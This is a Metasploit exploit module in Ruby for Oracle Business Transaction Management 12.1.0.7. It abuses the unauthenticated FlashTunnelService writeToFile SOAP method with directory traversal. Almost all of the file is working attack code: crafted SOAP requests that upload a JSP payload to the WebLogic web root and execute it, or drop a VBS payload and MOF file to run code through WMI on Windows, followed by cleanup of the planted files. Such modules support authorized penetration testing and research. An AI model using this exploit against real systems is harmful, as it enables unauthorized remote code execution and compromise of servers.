##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
      'Description'    => %q{
          This module exploits abuses the FlashTunnelService SOAP web service on Oracle
        Business Transaction Management 12.1.0.7 to upload arbitrary files, without
        authentication, using the WriteToFile method. The same method contains a directory
        traversal vulnerability, which allows to upload the files to arbitrary locations.

        In order to execute remote code two techniques are provided. If the Oracle app has
        been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
        root. If a new Domain has been used to deploy the Oracle application, the Windows
        Management Instrumentation service can be used to execute arbitrary code.

        Both techniques has been successfully tested on default installs of Oracle BTM
        12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
        provided, but the user can configure the traversal depth using the DEPTH option.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '85087' ],
          [ 'BID', '54839' ],
          [ 'EDB', '20318' ]
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay' => 5
        },
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'           => 2048,
          'StackAdjustment' => -3500
        },
      'Platform'       => %w{ java win },
      'Targets'        =>
        [
          [ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',
            {
              'Arch' => ARCH_JAVA,
              'Depth' => 10
            },
          ],
          [ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'Depth' => 13
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 07 2012'))

    register_options(
      [
        Opt::RPORT(7001),
        OptInt.new('DEPTH', [false, 'Traversal depth'])
      ], self.class)
  end

  def on_new_session(client)

    return if not @var_mof_name
    return if not @var_vbs_name

    if client.type != "meterpreter"
      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
      print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
      return
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    cmd = "C:\\windows\\system32\\attrib.exe -r " +
          "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"

    client.sys.process.execute(cmd, nil, {'Hidden' => true })

    begin
      print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
      client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
      print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
      client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
    rescue ::Exception => e
      print_error("Exception: #{e.inspect}")
    end

  end

  def exploit

    peer = "#{rhost}:#{rport}"

    if target.name =~ /WMI/

      # In order to save binary data to the file system the payload is written to a .vbs
      # file and execute it from there.
      @var_mof_name = rand_text_alpha(rand(5)+5)
      @var_vbs_name = rand_text_alpha(rand(5)+5)

      print_status("Encoding payload into vbs...")
      my_payload = generate_payload_exe
      vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)

      print_status("Generating mof file...")
      mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

      if not datastore['DEPTH'] or datastore['DEPTH'] == 0
        traversal = "..\\" * target['Depth']
      else
        traversal = "..\\" * datastore['DEPTH']
      end
      traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"

      print_status("#{peer} - Uploading the VBS payload")

      soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
      soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
      soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
      soap_request << "	<soapenv:Header/>"
      soap_request << "	<soapenv:Body>"
      soap_request << "		<int:writeToFileRequest>"
      soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
      soap_request << "				<typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"
      soap_request << "				<typ:WriteToFileRequestVersion>"
      soap_request << "				</typ:WriteToFileRequestVersion>"
      soap_request << "			</int:writeToFile>"
      soap_request << "		</int:writeToFileRequest>"
      soap_request << "	</soapenv:Body>"
      soap_request << "</soapenv:Envelope>"

      res = send_request_cgi(
        {
          'uri'        => '/btmui/soa/flash_svc/',
          'version'    => '1.1',
          'method'     => 'POST',
          'ctype'      => "text/xml;charset=UTF-8",
          'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
          'data'       => soap_request,
        }, 5)

      if res and res.code == 200 and res.body =~ /writeToFileResponse/
        print_status("#{peer} - VBS payload successfully uploaded")
      else
        print_error("#{peer} - Failed to upload the VBS payload")
        return
      end

      if not datastore['DEPTH'] or datastore['DEPTH'] == 0
        traversal = "..\\" * target['Depth']
      else
        traversal = "..\\" * datastore['DEPTH']
      end
      traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"

      soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
      soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
      soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
      soap_request << "	<soapenv:Header/>"
      soap_request << "	<soapenv:Body>"
      soap_request << "		<int:writeToFileRequest>"
      soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
      soap_request << "				<typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"
      soap_request << "				<typ:WriteToFileRequestVersion>"
      soap_request << "				</typ:WriteToFileRequestVersion>"
      soap_request << "			</int:writeToFile>"
      soap_request << "		</int:writeToFileRequest>"
      soap_request << "	</soapenv:Body>"
      soap_request << "</soapenv:Envelope>"

      print_status("#{peer} - Uploading the MOF file")

      res = send_request_cgi(
        {
          'uri'        => '/btmui/soa/flash_svc/',
          'version'    => '1.1',
          'method'     => 'POST',
          'ctype'      => "text/xml;charset=UTF-8",
          'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
          'data'       => soap_request,
        }, 5)

      if res and res.code == 200 and res.body =~ /writeToFileResponse/
        print_status("#{peer} - MOF file successfully uploaded")
      else
        print_error("#{peer} - Failed to upload the MOF file")
        return
      end

    elsif target['Arch'] == ARCH_JAVA

      @jsp_name = rand_text_alpha(rand(5)+5)

      if not datastore['DEPTH'] or datastore['DEPTH'] == 0
        traversal = "..\\" * target['Depth']
      else
        traversal = "..\\" * datastore['DEPTH']
      end
      traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"

      print_status("#{peer} - Uploading the JSP payload")

      soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
      soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
      soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
      soap_request << "	<soapenv:Header/>"
      soap_request << "	<soapenv:Body>"
      soap_request << "		<int:writeToFileRequest>"
      soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
      soap_request << "				<typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"
      soap_request << "				<typ:WriteToFileRequestVersion>"
      soap_request << "				</typ:WriteToFileRequestVersion>"
      soap_request << "			</int:writeToFile>"
      soap_request << "		</int:writeToFileRequest>"
      soap_request << "	</soapenv:Body>"
      soap_request << "</soapenv:Envelope>"

      res = send_request_cgi(
        {
          'uri'        => '/btmui/soa/flash_svc/',
          'version'    => '1.1',
          'method'     => 'POST',
          'ctype'      => "text/xml;charset=UTF-8",
          'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
          'data'       => soap_request,
        }, 5)

      if res and res.code == 200 and res.body =~ /writeToFileResponse/
        print_status("#{peer} - JSP payload successfully uploaded")
      else
        print_error("#{peer} - Failed to upload the JSP payload")
        return
      end

      print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")
      res = send_request_cgi(
        {
          'uri'        => "/#{@jsp_name}.jsp",
          'version'    => '1.1',
          'method'     => 'GET',
        }, 5)

    end

  end

end